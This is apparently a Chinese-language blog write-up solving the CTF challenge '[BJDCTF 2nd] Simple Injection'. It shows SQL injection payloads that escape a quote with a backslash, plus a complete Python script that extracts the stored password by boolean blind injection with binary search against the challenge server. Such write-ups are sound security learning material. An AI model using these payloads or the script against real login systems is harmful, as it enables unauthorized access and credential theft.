[BJDCTF 2nd]簡單注入

[BJDCTF 2nd]簡單注入

lj

image-20200409201157480

hint.txt出現了內容。

大概意思和國賽一道題相同。

username處注入\來轉義單引號,password處使用sql語句整數型注入。

mo

例如:

  1. 傳入admin\or/**/length(database())>0#會回顯stronger字樣

  2. 傳入admin\or/**/length(database())<0#會回顯girl friend字樣

    大師傅都麼得girl friend,我也沒得……呀。j

image-20200409201818923

image-20200409201842969

image-20200409202020481

直接上腳本吧,二分法還是挺快的。

這裏我用的三目運算,只能用正整數和0,因爲用負數發現被過濾了負號。

import requests
url = "http://bc5d0433-45b5-486d-8fdd-541a8662fd10.node3.buuoj.cn/index.php"

data = {"username":"admin\\","password":""}
result = ""
i = 0

while( True ):
	i = i + 1 
	head=32
	tail=127

	while( head < tail ):
		mid = (head + tail) >> 1

		#payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
		payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
		
		data['password'] = payload
		r = requests.post(url,data=data)

		if "stronger" in r.text :
			head = mid + 1
		else:
			tail = mid
	
	last = result
	
	if head!=32:
		result += chr(head)
	else:
		break
	print(result)

我太垃圾了,要努力啊。

image-20200409201044939

image-20200409202616437

中…(img-J1PsBRV6-1587834791692)]

[外鏈圖片轉存中…(img-2IRltssJ-1587834791693)]

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章